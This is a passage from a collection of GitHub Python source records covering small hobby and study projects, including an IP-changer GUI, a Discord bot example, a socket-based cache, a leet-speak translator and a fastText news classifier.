self.compiledRegexes:\n self.output[regex[2]] = {\"no\": 0, \"results\": {}}\n for regex in self.dictionaryCompiledRegexes:\n self.output[regex[1]] = {\"no\": 0, \"results\": {}}\n x = 0\n while not self.cancel:\n content = self.parser.getNext()\n\n if content is None:\n break\n\n x+=1\n if x == self.parser.stepValue:\n self.progressEvent()\n x=0\n \n for regex in self.compiledRegexes:\n results = regex[0].findall(content['content'])\n for result in results:\n if regex[1] is not None:\n if regex[1](result, content['content']):\n self.addOutput(regex[2], result, content['id'])\n else:\n self.addOutput(regex[2], result, content['id'])\n \n for dictRegex in self.dictionaryCompiledRegexes:\n results = dictRegex[0].findall(content['content'])\n for result in results:\n if result.lower() in self.dictionary:\n self.addOutput(dictRegex[1], result, content['id'])\n else:\n for regex in self.compiledRegexes:\n self.output[regex[2]] = {\"no\": 0, \"results\": {}}\n x = 0\n while not self.cancel:\n content = self.parser.getNext()\n\n if content is None:\n break\n\n x+=1\n if x == self.parser.stepValue:\n self.progressEvent()\n x=0\n \n for regex in self.compiledRegexes:\n results = regex[0].findall(content['content'])\n for result in results:\n if regex[1] is not None:\n if regex[1](result, content['content']):\n self.addOutput(regex[2], result, content['id'])\n else:\n self.addOutput(regex[2], result, content['id'])\n\n print(\"Finished in: \", time.time() - begin)\n\n self.finishedEvent()\n json.dump(self.output, self.outputFile)\n self.outputFile.close()\n\n def addOutput(self, regex, result, id):\n if result in self.output[regex][\"results\"]:\n self.output[regex][\"results\"][result][\"occurances\"].append(str(id))\n else:\n self.output[regex][\"results\"][result] = {\"occurances\": [str(id)]}\n self.output[regex][\"no\"] += 1\n self.updateDataEvent()\n\n def dummy(self):\n pass\n\n ###Implement destructor that backups data","repo_name":"maxDoesHacking/EngineeringThesis","sub_path":"Code/src/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":10048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"39273510919","text":"import time\n\nimport psutil\nfrom plyer import notification\n\nfrom src.Personal_Assistant.Speaking import Speaking\n\n\nclass Battery:\n battery = psutil.sensors_battery()\n\n speaking = Speaking()\n\n # from psutil we will import the sensors_battery class and with that we have the battery remaining\n while True:\n percent = battery.percent\n # print(\"the battery percentage is \"+percent)\n speaking.speak(\"the battery percentage is \" + str(percent))\n notification.notify(\n title=\"Battery Percentage\",\n message=str(percent) + \"% Battery remaining\",\n timeout=10)\n break\n time.sleep(60 * 60)\n # after every 60 mins it will show the battery percentage\n","repo_name":"Abhishek-IOT/Personal_assistant","sub_path":"src/Personal_Assistant/Battery.py","file_name":"Battery.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"23"} +{"seq_id":"31867886948","text":"import tkinter as tk\nimport subprocess\nimport os\nimport time\nfrom ip_parse import Interface\n\nclass Application(tk.Frame):\n\tdef __init__(self, master=None):\n\t super().__init__(master)\n\t self.interface_list = []\n\t self.master = master\n\t self.interface = Interface()\n\t self._listbox_index = 0\n\t self.pack()\n\t self.create_listbox()\n\t self.interface_listbox.select_set(0)\n\t self.create_labels()\n\t self.create_entrys()\n\t self.create_apply_btn()\n\t self.create_dhcp_checkbox()\n\t self.check_events()\n\t self.create_refresh_btn()\n\t self.create_show_disabled_checkbox()\n\t self.refresh_values()\n\n\tdef create_listbox(self):\n\t\tself.interface_listbox = tk.Listbox(self)\n\t\tself.interface_listbox[\"exportselection\"] = False\n\t\tself.interface_listbox.grid(row=1, column=0, rowspan=4, columnspan=2)\n\t\tself.interface._send_command()\n\t\tfor item in self.interface.connected_list:\n\t\t\tself.interface_listbox.insert(tk.END ,item)\n\n\tdef check_events(self):\n\t\tself.interface_listbox.bind(\"<>\", self.report_listbox)\n\n\tdef report_listbox(self, event):\n\t\t\n\t\ttry:\n\t\t\tself._listbox_index = int(self.interface_listbox.curselection()[0])\n\t\texcept IndexError:\n\t\t\tpass \n\t\tself.refresh_values()\n\n\tdef refresh_values(self):\n\t\tprint(\"Fresh!\")\n\t\tself.interface._send_command()\n\t\tself.interface_text = (self.interface.connected_list[self._listbox_index])\n\t\tself.current_interface.configure(text=self.interface_text)\n\t\t# Parse IP\n\t\tself.interface.parse_adapter(self.interface_text)\n\t\t# Pass Pared IP to Widgets\n\t\tself.current_ip_address = self.interface.ip_address\n\t\t# self.current_ip_label.configure(text=self.current_ip_address)\n\t\tself.entry_ip.delete(0, tk.END)\n\t\tself.entry_ip.insert(0, self.current_ip_address)\n\t\t# Subnet\n\t\tself.current_subnet = self.interface.subnet\n\t\t# self.current_subnet_label.configure(text=self.current_subnet)\n\t\tself.entry_subnet.delete(0, tk.END)\n\t\tself.entry_subnet.insert(0, self.current_subnet)\n\t\t# Gateway\n\t\tself.current_gateway = self.interface.gateway\n\t\t# self.current_gateway_label.configure(text=self.current_gateway)\n\t\tself.entry_gateway.delete(0, tk.END)\n\t\tself.entry_gateway.insert(0, self.current_gateway)\n\n\tdef create_labels(self):\n\t # Create Text for IP\n\t self.enter_ip_label = tk.Label(self)\n\t self.enter_ip_label[\"text\"] = \"IP Address:\"\n\t self.enter_ip_label.grid(row=2, column=2)\n\t self.enter_ip_label.grid(sticky=\"E\")\n\n\t # Create Text for Subnet\n\t self.enter_subnet_label = tk.Label(self)\n\t self.enter_subnet_label[\"text\"] = \"Subnet:\"\n\t self.enter_subnet_label.grid(row=3, column=2)\n\t self.enter_subnet_label.grid(sticky=\"E\")\n\n\t # Create Text for Gateway\n\t self.enter_gateway_label = tk.Label(self)\n\t self.enter_gateway_label[\"text\"] = \"Gateway:\"\n\t self.enter_gateway_label.grid(row=4, column=2)\n\t self.enter_gateway_label.grid(sticky=\"E\")\n\n\t # Create Text for IP header\n\t self.current_interface = tk.Label(self)\n\t self.current_interface[\"text\"] = \"Select an Interface\"\n\t self.current_interface.grid(row=1, column=3)\n\n\t# # Create Text for IP readout\n\t# self.current_ip_label = tk.Label(self)\n\t# \tself.current_ip_address = \"\"\n\t# self.current_ip_label[\"text\"] = self.current_ip_address\n\t# self.current_ip_label.grid(row=2, column=4, padx=100)\n\n\t\t# # Create Text for Subnet readout\n\t# self.current_subnet_label = tk.Label(self)\n\t# self.current_subnet = \"\"\n\t# self.current_subnet_label[\"text\"] = self.current_subnet\n\t# self.current_subnet_label.grid(row=3, column=4, padx=100)\n\n\t# # Create Text for Gateway readout\n\t# self.current_gateway_label = tk.Label(self)\n\t# self.current_gateway = \"\"\n\t# self.current_gateway_label[\"text\"] = self.current_gateway\n\t# self.current_gateway_label.grid(row=4, column=4, padx=100)\n\n\tdef create_entrys(self):\n\t # Create IP Entry Field\n\t self.entry_ip = tk.Entry(self)\n\t self.entry_ip.grid(row=2, column=3, \n\t \tcolumnspan=2, padx=5)\n\n\t # Create Subnet Entry Field\n\t self.entry_subnet = tk.Entry(self)\n\t self.entry_subnet.grid(row=3, column=3, \n\t \tcolumnspan=2, padx=5)\n\n\t # Create Gateway Entry Field\n\t self.entry_gateway = tk.Entry(self)\n\t self.entry_gateway.grid(row=4, column=3, \n\t \tcolumnspan=2, padx=5)\n\n\tdef create_apply_btn(self):\n\t self.apply_btn = tk.Button(self)\n\t self.apply_btn[\"text\"] = \"Apply\"\n\t self.apply_btn[\"command\"] = self.apply_settings\n\t self.apply_btn.grid(row=5, column=3, padx=10, pady=10)\n\n\tdef create_refresh_btn(self):\n\t self.refresh_btn = tk.Button(self)\n\t self.refresh_btn[\"text\"] = \"Refresh\"\n\t self.refresh_btn[\"command\"] = self.create_listbox\n\t self.refresh_btn.grid(row=5, column=1, padx=10, pady=10)\n\n\tdef create_dhcp_checkbox(self):\n\t\tself.set_dhcp_on = tk.IntVar()\n\t\tself.dhcp_btn = tk.Checkbutton(self)\n\t\tself.dhcp_btn[\"text\"] = \"Set DHCP\"\n\t\tself.dhcp_btn[\"variable\"] = self.set_dhcp_on\n\t\tself.dhcp_btn.grid(row=5, column=2, padx=10, pady=10)\n\n\tdef create_show_disabled_checkbox(self):\n\t\tself.set_show_disabled = tk.IntVar()\n\t\tself.show_disabled_btn = tk.Checkbutton(self)\n\t\tself.show_disabled_btn[\"text\"] = \"Show Disabled\"\n\t\tself.show_disabled_btn[\"variable\"] = self.set_show_disabled\n\t\tself.show_disabled_btn.grid(row=5, column=0, padx=10, pady=10)\n\n\tdef get_ip(self):\n\t #Get IP\n\t self.ip_address = self.entry_ip.get()\n\t #Get IP\n\t self.subnet = self.entry_subnet.get()\n\t #Get IP\n\t self.gateway = self.entry_gateway.get()\n\n\tdef apply_settings(self):\n\t\tif self.set_dhcp_on.get() == 1:\n\t\t\tself.set_dhcp()\n\t\t\tself.after(1000, self.refresh_values)\n\t\t\t\n\t\telse:\n\t\t\tself.set_static()\n\t\t\tself.after(4000, self.refresh_values)\n\t\t\t\n\t\t\t\n\n\tdef set_static(self):\n\t self.get_ip()\n\t time.sleep(.1)\n\t self.ipset_command = f\"netsh int ip set address {self.interface_text} static {self.ip_address} {self.subnet} {self.gateway} 1\"\n\t subprocess.call(self.ipset_command, shell=True,)\n\n\tdef set_dhcp(self):\n\t self.dhcpset_command = f\"netsh interface ip set address {self.interface_text} dhcp\"\n\t subprocess.call(self.dhcpset_command, shell=True,)\n\n\n\nroot = tk.Tk()\n\napp = Application(master=root)\napp.master.title(\"IP Changer\")\n# app.master.geometry(\"300x100\")\napp.master.resizable(False, False)\napp.check_events()\napp.mainloop()\n","repo_name":"efrae/IP-Changer","sub_path":"old/IP_Changer.py","file_name":"IP_Changer.py","file_ext":"py","file_size_in_byte":6276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"41324132803","text":"import json\nimport socket\n\nfrom ormuco_cache.domain import CacheItemFactory\nfrom ormuco_cache.repository.base import BaseRepository\nfrom ormuco_cache.util import ThreadWithReturnValue\n\nclass ClientNetworkRepository(BaseRepository):\n delimiter = b'\\r\\n'\n\n def __init__(self, settings):\n super().__init__(settings)\n self.cache_item_factory = CacheItemFactory(self.settings)\n \n def send_command_to_server(self, command):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try: \n sock.connect((self.settings.server.host, self.settings.server.port))\n sock.sendall(command.encode() + self.delimiter)\n response = b''\n\n while self.delimiter not in response:\n response += sock.recv(1024)\n\n response_as_string = response.decode('utf-8').strip() \n except:\n return None\n finally:\n sock.close()\n\n return response_as_string\n\n def retrieve(self, key):\n command = \"RTRV \" + key\n\n thread = ThreadWithReturnValue(target = self.send_command_to_server, args = (command,))\n thread.setDaemon(True)\n thread.start()\n \n json_data = thread.join(timeout=self.settings.timeout)\n\n if json_data == None or json_data == 'MISS' or thread.isAlive():\n return None\n else:\n return self.cache_item_factory.restore_cache_item(key, json_data)\n\n def store(self, cache_item):\n command = \"STR \" + cache_item.key + \" \" + json.dumps(cache_item.data)\n\n thread = ThreadWithReturnValue(target = self.send_command_to_server, args = (command,))\n thread.setDaemon(True)\n thread.start()\n \n json_data = thread.join(timeout=self.settings.timeout)\n\n if json_data == 'ACK':\n return True\n else:\n return False\n\nclass ServerNetworkRepository(BaseRepository):\n peer_protocols = set()\n\n last_peer = None\n def __init__(self, settings):\n super().__init__(settings) \n\n def retrieve(self, key):\n return None\n\n def store(self, cache_item):\n command = \"STR \" + cache_item.key + \" \" + json.dumps(cache_item.data)\n\n for peer in ServerNetworkRepository.peer_protocols:\n if peer != ServerNetworkRepository.last_peer:\n peer.sendLine(command.encode())\n","repo_name":"narigone/raphael_sales_ormuco_test","sub_path":"third_question/ormuco_cache/repository/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"11798025684","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 25 17:23:05 2023\r\n\r\n@author: Jarkillo\r\n\"\"\"\r\n'''\r\n * Escribe un programa que reciba un texto y transforme lenguaje natural a\r\n * \"lenguaje hacker\" (conocido realmente como \"leet\" o \"1337\"). Este lenguaje\r\n * se caracteriza por sustituir caracteres alfanuméricos.\r\n * - Utiliza esta tabla (https://www.gamehouse.com/blog/leet-speak-cheat-sheet/) \r\n * con el alfabeto y los números en \"leet\".\r\n * (Usa la primera opción de cada transformación. Por ejemplo \"4\" para la \"a\")\r\n'''\r\n\r\nleet_lang = {\r\n\r\n 'a': '4',\r\n 'b': 'I3',\r\n 'c': '[',\r\n 'd': ')',\r\n 'e': '3',\r\n 'f': '|=',\r\n 'g': '&',\r\n 'h': '#',\r\n 'i': '1',\r\n 'j': '_|',\r\n 'k': '>|',\r\n 'l': '1',\r\n 'm': '/\\/\\\\',\r\n 'n': '^/',\r\n 'o': '0',\r\n 'p': '|*',\r\n 'q': '(_,)',\r\n 'r': 'I2',\r\n 's': '5',\r\n 't': '7',\r\n 'u': '(_)',\r\n 'v': '\\/',\r\n 'w': '\\/\\/',\r\n 'x': '><',\r\n 'y': 'j',\r\n 'z': '2',\r\n '1': 'L',\r\n '2': 'Z',\r\n '3': 'E',\r\n '4': 'A',\r\n '5': 'S',\r\n '6': 'b',\r\n '7': 'T',\r\n '8': 'B',\r\n '9': 'g',\r\n '0': 'o'\r\n}\r\n\r\n\r\ndef leet(text):\r\n text = text.lower()\r\n for letra in text:\r\n if letra in leet_lang:\r\n text = text.replace(letra, leet_lang[letra])\r\n return text\r\n\r\n\r\nprint(leet('Hola, me llamo Jarkillo y soy un hacker'))\r\ntexto = input(leet('Introduce un texto para transformarlo: '))\r\n\r\ntexto = leet(texto)\r\nprint(texto)\r\n","repo_name":"mouredev/retos-programacion-2023","sub_path":"Retos/Reto #1 - EL LENGUAJE HACKER [Fácil]/python/jarkillo.py","file_name":"jarkillo.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"es","doc_type":"code","stars":4219,"dataset":"github-code","pt":"23"} +{"seq_id":"30961701270","text":"import pytest # type: ignore\nfrom pytest import fixture # type: ignore\n\nfrom abacus.engine.base import Entry\nfrom abacus.engine.chart import Chart\nfrom abacus.engine.ledger import Ledger\n\n\n@fixture\ndef chart():\n return Chart(\n assets=[\"cash\", \"ar\", \"goods\"],\n equity=[\"equity\"],\n income=[\"sales\"],\n expenses=[\"cogs\", \"sga\"],\n contra_accounts={\"sales\": [\"refunds\", \"voids\"]},\n )\n\n\n@fixture\ndef ledger(chart):\n return Ledger.new(chart).post_many(\n [\n Entry(\"cash\", \"equity\", 1000),\n Entry(\"ar\", \"sales\", 250),\n Entry(\"refunds\", \"ar\", 50),\n ]\n )\n\n\n@pytest.fixture\ndef entries():\n e1 = Entry(debit=\"cash\", credit=\"equity\", amount=1000)\n e2 = Entry(debit=\"goods\", credit=\"cash\", amount=250)\n e3 = Entry(debit=\"cogs\", credit=\"goods\", amount=200)\n e4 = Entry(debit=\"cash\", credit=\"sales\", amount=400)\n e5 = Entry(debit=\"sga\", credit=\"cash\", amount=50)\n return [e1, e2, e3, e4, e5]\n","repo_name":"epogrebnyak/abacus","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"23"} +{"seq_id":"40319428567","text":"import random\nnamesInput = open(\"Python/Python with AI - Level 2/others/files/names.txt\")\nnames = []\nchosens = []\nfor a in namesInput:\n names.append(a.split()[0])\nrandom.shuffle(names)\nchosens = random.sample(names, 500)\nprint(\"The chosen people are:\", end = \"\")\nfor asdf in range(len(chosens) - 1):\n print(f\" {chosens[asdf]},\", end = \"\")\nprint(f\" and {chosens[-1]}.\", end = \"\")","repo_name":"bill090/bill090-Python","sub_path":"Python with AI - Level 2/others/TOKTW.py","file_name":"TOKTW.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"35646384861","text":"import interactions\nimport config\nfrom interactions.ext.enhanced import extension_component\nimport models.datastorage as datastorage\n\ndef setup(bot):\n ExampleCog(bot)\n\nclass ExampleCog(interactions.Extension):\n def __init__(self,bot:interactions.Client):\n self.bot=bot\n\n @interactions.extension_command(name=\"example\",description=\"Example command\",guild_ids=config.guild_ids)\n async def example(self,ctx:interactions.CommandContext):\n await ctx.send(\"Example\")\n\n @interactions.extension_command(name=\"ex\",guild_ids=config.guild_ids)\n async def base_command(self,ctx:interactions.CommandContext):\n pass\n \n @base_command.subcommand(name=\"sub1\",description=\"Example sub command\",options=[\n interactions.Option(name=\"option\",description=\"Example option\",type=interactions.OptionType.STRING,required=True)\n ])\n async def sub1_command(self,ctx:interactions.CommandContext,option:str):\n await ctx.send(f\"Subcommand 1 got {option}\")\n\n @base_command.subcommand(name=\"sub2\",description=\"Example sub command\",options=[\n interactions.Option(name=\"option\",description=\"Example option\",type=interactions.OptionType.STRING,required=False)\n ])\n async def sub2_command(self,ctx:interactions.CommandContext,option:str=\"default\"):\n await ctx.send(f\"Subcommand 2 got {option}\")\n\n @interactions.extension_command(name=\"cool\",guild_ids=config.guild_ids)\n async def cool_base_command(self,ctx:interactions.CommandContext):\n pass\n\n @cool_base_command.subcommand(name=\"embed\",description=\"Example sub command\")\n async def cool_sub1_command(self,ctx:interactions.CommandContext):\n await ctx.send(\n embeds=interactions.Embed(\n title=\"Example Embed\",\n description=\"This is an example embed\",\n color=0x00ff00,\n fields=[\n interactions.EmbedField(name=\"Field 1\",value=\"This is a field\",inline=False),\n interactions.EmbedField(name=\"Field 2\",value=\"This is another field\",inline=False)\n ],\n footer=interactions.EmbedFooter(text=\"This is a footer\",icon_url=\"https://cdn.discordapp.com/embed/avatars/0.png\"),\n image=interactions.EmbedImageStruct(url=\"https://cdn.discordapp.com/embed/avatars/1.png\"),\n author=interactions.EmbedAuthor(name='Bot',url=\"https://cdn.discordapp.com/embed/avatars/2.png\"),\n ))\n\n @cool_base_command.subcommand(name=\"buttons\",description=\"Example sub command\")\n async def cool_sub2_command(self,ctx:interactions.CommandContext):\n await ctx.send(\n content=\"Example buttons\",\n components=[\n interactions.ActionRow(components=[\n interactions.Button(label=\"Button 1\",custom_id='id_button_1',style=interactions.ButtonStyle.PRIMARY),\n interactions.Button(label=\"Button 2\",custom_id='id_button_2',style=interactions.ButtonStyle.SECONDARY),\n interactions.Button(label=\"Button 3\",custom_id='id_button_3',style=interactions.ButtonStyle.SUCCESS),\n interactions.Button(label=\"Button 4\",custom_id='other',style=interactions.ButtonStyle.DANGER),\n interactions.Button(label=\"Button 5\",style=interactions.ButtonStyle.LINK,url=\"https://www.google.com\")\n ]) # type: ignore\n ]\n )\n\n @extension_component(\"id_button_\",startswith=True)\n async def button_handler(self,ctx:interactions.ComponentContext):\n number = str(ctx.custom_id).split(\"_\")[-1]\n await ctx.send(f\"Button {number} was pressed\")\n\n @extension_component(\"other\")\n async def other_button_handler(self,ctx:interactions.ComponentContext):\n await ctx.send(\"Dangerous button was pressed\")\n\n @cool_base_command.subcommand(name=\"select\",description=\"Example select\")\n async def select_command(self,ctx:interactions.CommandContext):\n await ctx.send(\n content=\"Example select\",\n components=[\n interactions.ActionRow(components=[\n interactions.SelectMenu(\n custom_id=\"select_example\",\n min_values=1,\n max_values=3,\n options=[\n interactions.SelectOption(label=\"Option 1\",value=\"1\"),\n interactions.SelectOption(label=\"Option 2\",value=\"2\"),\n interactions.SelectOption(label=\"Option 3\",value=\"3\")\n ]\n ) # type: ignore\n ])\n ]\n ) \n\n @extension_component(\"select_example\")\n async def select_handler(self,ctx:interactions.ComponentContext,data:list[str]):\n await ctx.send(f\"Selected {data}\")\n \n @cool_base_command.subcommand(name=\"select_channel\",description=\"Example select\")\n async def select_channel_command(self,ctx:interactions.CommandContext):\n await ctx.send(\n content=\"Example select\",\n components=[\n interactions.ActionRow(components=[\n interactions.Component(\n type=interactions.ComponentType.CHANNEL_SELECT,\n custom_id=\"select_channel_example\",\n min_values=1,\n max_values=25,# 25 is max\n ) # type: ignore\n ])\n ]\n )\n\n @extension_component(\"select_channel_example\")\n async def select_channel_handler(self,ctx:interactions.ComponentContext,data:list[interactions.Channel]):\n await ctx.send(f\"Selected {data}\")\n\n @cool_base_command.subcommand(name='modal',description=\"Example modal\")\n async def modal_command(self,ctx:interactions.CommandContext):\n await ctx.popup(\n interactions.Modal(\n title=\"Example Modal\",\n custom_id=\"modal_example\",\n components=[\n interactions.TextInput(\n custom_id=\"text_input_1\",\n style=interactions.TextStyleType.SHORT,\n placeholder=\"no value\",\n min_length=1,\n max_length=100,\n label=\"Example text input\",\n value=\"default value\",\n required=True\n ) # type: ignore\n ]\n )\n )\n\n @interactions.extension_modal(\"modal_example\")\n async def modal_handler(self,ctx:interactions.ComponentContext,text_input_1:str):\n await ctx.send(f\"Text input value: {text_input_1}\")\n\n @interactions.extension_command(name='database',guild_ids=config.guild_ids)\n async def database_command(self,ctx:interactions.CommandContext):\n pass\n\n @database_command.subcommand(name='add',description=\"Add a value to the database\",options=[\n interactions.Option(name=\"key\",description=\"Key to add\",type=interactions.OptionType.STRING,required=True),\n interactions.Option(name=\"value\",description=\"Value to add\",type=interactions.OptionType.INTEGER,required=True)\n ])\n async def database_add_command(self,ctx:interactions.CommandContext,key:str,value:int):\n if not ctx.guild:\n await ctx.send(\"This command can only be used in a guild\")\n return\n\n datastorage.ExampleData.create(int(ctx.guild.id),key,value)\n await ctx.send(f\"Added {key}{value} to the database\")\n\n @database_command.subcommand(name='liste',description=\"Gets all entries from the database\")\n async def database_list_command(self,ctx:interactions.CommandContext):\n if not ctx.guild:\n await ctx.send(\"This command can only be used in a guild\")\n return\n\n data = datastorage.ExampleData.get_all(int(ctx.guild.id))\n NEWLINE = \"\\n\"\n await ctx.send(f\"Database entries: {NEWLINE.join([f'{entry}' for entry in data])}\")\n \n ","repo_name":"Lester1989/botTemplate","sub_path":"cogs/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":8037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"71122594940","text":"import json\nimport boto3\nimport os\n\ndef lambda_handler(event, context):\n\tprint(json.dumps(event))\n\n\tfor record in event['Records']:\n\t\tif record['eventName'] in ['INSERT','MODIFY']:\n\t\t\tif 'RecordingURL' in record['dynamodb']['NewImage']:\n\t\t\t\tsns = boto3.client('sns')\n\t\t\t\tpublish = sns.publish(\n\t\t\t\t\tTopicArn = os.environ['sns_topic_arn'],\n\t\t\t\t\tSubject = 'Connect call complete',\n\t\t\t\t\tMessage = json.dumps(record['dynamodb']['NewImage'])\n\t\t\t\t)\n\t\t\t\tprint(publish)","repo_name":"zanphear/amazon-connect-streaming","sub_path":"functions/call_complete/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"70219221499","text":"def rotateImage(a):\n n = len(a)\n\n for i in range(n / 2): # each section\n for j in range(i, n - i - 1): # count all\n row, col = i, j\n # store the element being replaced\n tmp = a[i][j]\n for _ in range(4):\n # calculate the 90 deg rotation\n row, col = col, n - row - 1\n # swap tmp and next element\n a[row][col], tmp = tmp, a[row][col]\n return a\n\n# Much functional\n# Very programming\nrotateImage2 = lambda a: zip(*a[::-1])\n","repo_name":"hermesespinola/interview_practice","sub_path":"arrays/rotateImage/rotateImage.py","file_name":"rotateImage.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"9209809817","text":"from collections import defaultdict\nfrom dataclasses import dataclass\nfrom typing import Dict, List, cast\n\nfrom tarpn.ax25 import AX25Call\nfrom tarpn.network.mesh import MeshAddress\nfrom tarpn.util import lollipop_compare\n\n\n@dataclass\nclass Record:\n epoch: int\n\n\n@dataclass\nclass Reset(Record):\n pass\n\n\n@dataclass\nclass LinkRecord(Record):\n source: MeshAddress\n destination: MeshAddress\n quality: int\n\n\n@dataclass\nclass NameRecord(Record):\n node: MeshAddress\n callsign: AX25Call\n name: str\n\n\nclass Log:\n def __init__(self):\n self.records: Dict[MeshAddress, List[Record]] = defaultdict(list)\n self.epochs: Dict[MeshAddress, int] = dict()\n\n def append(self, address: MeshAddress, record: Record) -> bool:\n records = self.records[address]\n if len(records) == 0:\n records.append(record)\n else:\n latest = records[-1]\n epoch_cmp = lollipop_compare(latest.epoch, record.epoch)\n if epoch_cmp == 1:\n records.append(record)\n self.epochs[address] = record.epoch\n return True\n elif epoch_cmp == 0:\n records.append(Reset(latest.epoch))\n records.append(record)\n self.epochs[address] = record.epoch\n return True\n else:\n return False\n\n def get_link_states(self, node: MeshAddress) -> Dict[MeshAddress, int]:\n states = {}\n if node not in self.epochs.keys():\n return states\n\n for record in self.records[node]:\n if isinstance(record, LinkRecord):\n link_record = cast(LinkRecord, record)\n states[link_record.source] = link_record.quality\n return states\n\n\nif __name__ == \"__main__\":\n log = Log()\n nodeA = MeshAddress.parse(\"00.aa\")\n nodeB = MeshAddress.parse(\"00.bb\")\n log.append(nodeA, LinkRecord(-128, nodeA, nodeB, 100))\n log.append(nodeA, LinkRecord(-127, nodeA, nodeB, 99))\n log.append(nodeA, LinkRecord(10, nodeA, nodeB, 98))\n log.append(nodeA, LinkRecord(9, nodeA, nodeB, 97))\n log.append(nodeA, LinkRecord(-128, nodeA, nodeB, 100))\n\n print(log.get_link_states(nodeA))\n print(log.get_link_states(nodeB))\n print(log.records)","repo_name":"tarpn/tarpn-node-controller","sub_path":"tarpn/network/mesh/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"23"} +{"seq_id":"70341561340","text":"from collections import Counter\n\ndef solution(str1, str2):\n answer = 0\n str1 = str1.upper()\n str2 = str2.upper()\n \n #2글자씩 끊어서 다중 집합의 원소로 만든다.\n str1_candidates,str2_candidates = [],[]\n \n for i in range(len(str1)-1):\n if str1[i].isalpha() and str1[i+1].isalpha():\n str1_candidates.append(str1[i] + str1[i+1])\n for i in range(len(str2)-1):\n if str2[i].isalpha() and str2[i+1].isalpha():\n str2_candidates.append(str2[i] + str2[i+1])\n \n counter_str1 = Counter(str1_candidates)\n counter_str2 = Counter(str2_candidates)\n \n inter = list((counter_str1 & counter_str2).elements())\n union = list((counter_str1 | counter_str2).elements())\n \n if len(inter) == 0 and len(union) == 0:\n return 65536\n else:\n return int((len(inter)/len(union)) * 65536)\n","repo_name":"cmkxak/algorithms","sub_path":"프로그래머스/lv2/17677. [1차] 뉴스 클러스터링/[1차] 뉴스 클러스터링.py","file_name":"[1차] 뉴스 클러스터링.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"74635418620","text":"import jieba\nimport pandas as pd\nimport random\nimport fasttext\n\ncategory_dictionary = {'technology': 1, 'car': 2, 'entertainment': 3, 'military': 4, 'sports': 5}\n\ndata_file_technology = pd.read_csv(\"D:technology_news.csv\", encoding='utf-8')\ndata_file_technology = data_file_technology.dropna()\n\ndata_file_car = pd.read_csv(\"D:car_news.csv\", encoding='utf-8')\ndata_file_car = data_file_car.dropna()\n\ndata_file_entertainment = pd.read_csv(\"D:entertainment_news.csv\", encoding='utf-8')\ndata_file_entertainment = data_file_entertainment.dropna()\n\ndata_file_military = pd.read_csv(\"D:military_news.csv\", encoding='utf-8')\ndata_file_military = data_file_military.dropna()\n\ndata_file_sports = pd.read_csv(\"D:sports_news.csv\", encoding='utf-8')\ndata_file_sports = data_file_sports.dropna()\n\ntechnology = data_file_technology.content.values.tolist()[1000:21000]\ncar = data_file_car.content.values.tolist()[1000:21000]\nentertainment = data_file_entertainment.content.values.tolist()[2000:22000]\nmilitary = data_file_military.content.values.tolist()[2000:22000]\nsports = data_file_sports.content.values.tolist()[:20000]\n\n# load the stopwords\nstopwords = pd.read_csv(\"D:stopwords.txt\", index_col=False, quoting=3,\n sep=\"\\t\", names=['stopword'], encoding='utf-8')\nstopwords = stopwords['stopword'].values\n\n\n# preprocessing data\ndef preprocess_text(content_lines, sentences, category):\n for line in content_lines:\n try:\n segments = jieba.lcut(line)\n segments = filter(lambda x: len(x) > 1, segments)\n segments = filter(lambda x: x not in stopwords, segments)\n sentences.append(\"__label__\" + str(category) + \" , \" + \" \".join(segments))\n\n except (OSError, TypeError) as reason:\n print(\"the error info is:\", str(reason))\n print(line)\n continue\n\n\n# generate train data\nsentences = []\n\npreprocess_text(technology, sentences, category_dictionary['technology'])\npreprocess_text(car, sentences, category_dictionary['car'])\npreprocess_text(entertainment, sentences, category_dictionary['entertainment'])\npreprocess_text(military, sentences, category_dictionary['military'])\npreprocess_text(sports, sentences, category_dictionary['sports'])\n\n# Shuffle the order to produce a more reliable training set\nrandom.shuffle(sentences)\n\nprint(\"writing data to fastText format...\")\nout = open('train_data.txt', 'w')\n\nfor sentence in sentences:\n print(sentence.encode('utf8') + \"\\n\")\nprint(\"done!\")\n\n# use fastText train and generate model\nclassifier = fasttext.supervised('train_data.txt', 'classifier.model', label_prefix='__label__')\n\n# evaluate the model\nresult = classifier.test('train_data.txt')\nprint('P@1:', result.precision)\nprint('R@1:', result.recall)\nprint('Number of examples:', result.nexamples)\n\n\n# The real prediction\nlabel_to_category = {1: 'technology', 2: 'car', 3: 'entertainment', 4: 'military', 5: 'sports'}\n\ntexts = ['中新网 日电 2018 预赛 亚洲区 强赛 中国队 韩国队 较量 ']\nlabels = classifier.predict(texts)\n\nprint(labels)\nprint(label_to_category[int(labels[0][0])])\n\nlabels = classifier.predict_proba(texts)\nprint(labels)\n\n# Top K of prediction outcomes\nlabels = 